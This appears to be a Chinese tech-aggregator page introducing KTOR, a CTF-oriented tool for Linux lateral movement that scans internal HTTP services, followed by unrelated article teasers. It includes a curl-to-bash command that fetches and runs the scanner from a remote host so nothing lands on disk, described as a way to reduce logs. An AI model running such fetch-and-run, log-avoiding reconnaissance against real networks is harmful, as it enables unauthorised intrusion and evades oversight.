KTOR：高效的Linux横向移动与无文件落地HTTP服务扫描工具

embedded/2025/2/11 8:05:20/

地址:https://github.com/MartinxMax/KTOR

简介

KTOR 是一款专为 Linux 横向渗透设计的工具。通过该工具，您可以快速扫描内部 HTTP 服务，以便进一步进行网络渗透，且实现无文件落地扫描。

在CTF中通常需要利用本地其他端口HTTP服务或其他主机的HTTP服务来横向移动权限提升。

在获取靶机低权限后通常需要对内部网络进一步探测，而且通过端口转发后再扫描过于耗费时间，为了解决这一缺陷，KTOR来预先探测存在HTTP服务的机器，利用curl命令实现无文件落地扫描，减少日志产生。

使用方法

$ ./ktor.sh -h

请添加图片描述

扫描本地主机HTTP服务

$ curl http://10.10.16.28/ktor.sh|bash -s -- -l -p all

请添加图片描述

指定网卡扫描内网HTTP服务

请添加图片描述

http://www.ppmy.cn/embedded/161277.html

json格式化html

<!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>JSON 格式化器</title><style>body …

Flink 内存模型各部分大小计算公式

Flink 的运行平台如果 Flink 是运行在 yarn 或者 standalone 模式的话，其实都是运行在 JVM 的基础上的，所以首先 Flink 组件运行所需要给 JVM 本身要耗费的内存大小。无论是 JobManager 或者 TaskManager ，他们 JVM 内存的大小都是一样的&a…

DeepSeek-R1：通过强化学习提升大型语言模型推理能力的探索

DeepSeek-R1：通过强化学习提升大型语言模型推理能力的探索在人工智能领域，大型语言模型（LLMs）的发展日新月异，其在自然语言处理和生成任务中的表现逐渐接近人类水平。然而，如何进一步提升这些模型的推理能…

Oracle常见语法

一、求交集 SELECT column1, column2 FROM table1 INTERSECT SELECT column1, column2 FROM table2;INTERSECT 操作符是 Oracle 和一些其他数据库（如 PostgreSQL 和 SQL Server）特有的集合操作符，在 MySQL 中并不直接支持。MYSQL同效果代码&a…

DeepSeek + IDEA 辅助编程王炸组合

DeepSeek + IDEA 辅助编程王炸组合 2025年的春节可以说是人工智能在中国史上飘红的一段历史时刻，年后上班的第一天，便马不停蹄的尝试新技能。今天的科技在飞速发展，编程领域的人工智能工具犹如雨后春笋般涌现。其中，DeepSeek 则以其卓越的性能和智能化的功能，迅速在众多…

问题 ERROR: cannot drop table wx_user_tag because other objects depend on it DETAIL: default value for column id of table wx_user_tag depends on sequence wx_user_tag_id_seq HINT: Use DROP … CASCADE to drop the dependent objects too. 解决这个错误消息表…

Ollama+Chatbox本地部署运行deepseek

文章目录文件准备安装OllamaSetup加载deepseek模型运行模型安装chatbox运行对比文件准备 OllamaSetup.exe：链接：https://pan.baidu.com/s/1eXtbNBsxSCr_6_RxinUB_A 提取码：j1lw Chatbox-1.9.1-Setup.exe：链接：https…